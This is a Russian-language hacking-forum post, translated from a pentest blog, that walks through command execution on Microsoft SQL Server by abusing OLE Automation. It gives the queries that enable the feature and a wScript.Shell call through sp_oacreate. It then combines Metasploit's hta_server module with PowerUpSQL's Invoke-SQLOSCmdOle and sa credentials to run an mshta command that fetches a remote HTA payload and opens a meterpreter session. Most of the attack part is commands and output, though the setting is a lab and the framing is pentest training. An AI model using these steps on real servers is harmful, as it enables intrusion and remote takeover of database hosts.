• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья MSSQL для пентестера: выполнение команд с помощью Ole автоматизации

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
OLE-автоматизация - это процесс, с помощью которого приложение может получать доступ к подразумеваемым объектам в других приложениях и управлять ими. Следовательно, в этой статье мы узнаем, как использовать автоматизацию OLE в наших интересах.

Что такое OLE Automation?

OLE расшифровывается как "Object Linking and Embedding ". Microsoft разрабатывает эту технологию, чтобы приложениям было проще делиться своими данными. Таким образом, автоматизация позволяет приложению управлять объектами, реализованными в других приложениях. Этот сервер автоматизации раскрывает свои функции через COM-интерфейсы; чтобы различные приложения могли их читать, это дополнительно помогает им автоматизировать свои свойства, извлекая объекты и используя свои службы.

Что такое Facets?

Facets помогают управлять базами данных с помощью собственного набора функций на основе политик. Когда дело доходит до MS-SQL, он имеет заранее продуманные аспекты. Например, Facet конструирует свойства, которые по умолчанию отключены. Эта функция пригодится, если у вас несколько сред SQL. Здесь вы можете настроить Facet в среде одного сервера и скопировать Facet в другую среду SQL, импортировав скопированный файл в экземпляр сервера в качестве политики.

Как включить автоматизацию OLE?

На недавно установленном сервере MS-SQL многие экземпляры по умолчанию отключены. И это включение или отключение функций, предоставляемых сервером SQL, может быть выполнено через Facet. Есть два способа разрешить автоматизацию OLE.

GUI.

Первый способ - включить его из SQL Server Management Studio. Откройте студию и щелкните правой кнопкой мыши на сервере. Появится раскрывающееся меню. В этом меню нажмите Facets. Как показано на изображении ниже:

1638626843605.png


Откроется диалоговое окно с раскрывающимся списком фасетов. В этом раскрывающемся списке выберите Surface Area Configuration , как показано на изображении ниже:
1638626857304.png


После того, как вы выберете Surface Area Configuration, вы можете выбрать значение true для OleAutomationEnabled в разделе свойств Facet, как показано на изображении ниже:
1638626868367.png


После выполнения вышеуказанных шагов нажмите кнопку "ОК" в диалоговом окне, чтобы включить OLE-автоматизацию.

CLI

Второй способ включить автоматизацию OLE - использовать SQL-запросы. Прежде чем мы перейдем к запросам, давайте проясним одну вещь: если значение для автоматизации OLE равно 1, она включена. Точно так же, если установлено значение 0, это означает, что автоматизация OLE отключена.

Итак, чтобы подтвердить, включена или отключена Ole Automation, мы будем использовать следующий запрос:

EXEC sp_configure 'Ole Automation Procedures';
GO

1638626888690.png


И как вы можете видеть на изображении выше, config_value и run_value равны 0; это означает, что автоматизация OLE отключена. Теперь, чтобы это включить нужно написать следующий запрос:

sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO


1638626910706.png

После выполнения запроса вы можете снова использовать первый запрос, чтобы проверить состояние автоматизации OLE. Как вы можете видеть на картинке ниже, указанный запрос изменит значение с 0 на 1 и включит автоматизацию OLE в процессе.

1638626921707.png


Использование OLE Automation

Теперь, когда мы активировали автоматизацию OLE, мы можем выполнить небольшой запрос для запуска любого приложения. Например, на картинке ниже мы вводим запрос для запуска калькулятора. И, как вы можете заметить, запрос использует COM для вызова приложения. Запрос такой:

DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output

1638626951167.png


Metasploit


После выполнения вышеуказанного запроса будет запущено приложение калькулятора. Итак, используя эту логику, мы попытаемся использовать эту автоматизацию OLE в наших интересах с помощью инструментов Metasploit и PowerUpSQL. Откройте Metasploit и выполните следующий набор команд, чтобы сгенерировать URL-адрес hta, который при выполнении предоставит нам сеанс Metasploit.

use exploit/windows/misc/hta_server
set srvhost *localhost*
exploit

1638626973637.png


Как и ожидалось, вышеупомянутый эксплойт сгенерировал для нас URL. Теперь перейдите в PowerShell и используйте следующий набор команд, чтобы получить указанный сеанс:

PowerUpSQL

cd PowerUpSQL-master
powershell
powershell -ep bypass
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmdOle -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "mshta.exe http://192.168.1.2:8080/pr2e96MyVedJ6.hta" -Verbose

1638627000333.png


После выполнения вышеуказанных команд у вас будет сеанс, как показано на картинке ниже:
1638627009546.png


Примечание: вы получите сеанс meterpreter только в том случае, если у вас есть доступ к имени пользователя и паролю сервера.

Вы также можете запустить любую команду, совместимую с сервером, через PowerShell, как показано на картинке ниже. Здесь мы запустили команду ipconfig, чтобы узнать IP-адрес сервера. Команда такая:

Invoke-SQLOSCmdOle -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command ipconfig -Verbose

1638627029388.png


Выполнение указанной выше команды сохранит желаемый результат в текстовом файле во временной папке, как показано на изображении ниже:

1638627084230.png


Таким образом, вы можете эксплуатировать или манипулировать OLE-автоматизацией по своему усмотрению. Такие методы имеют большое значение для обучения, поскольку знание таких вещей помогает при тестировании на проникновение в среде сервера MS-SQL.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-ole-automation/
 

Вложения

  • 1638627043556.png
    1638627043556.png
    64.4 КБ · Просмотры: 4
To be continued
Stay tuned
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх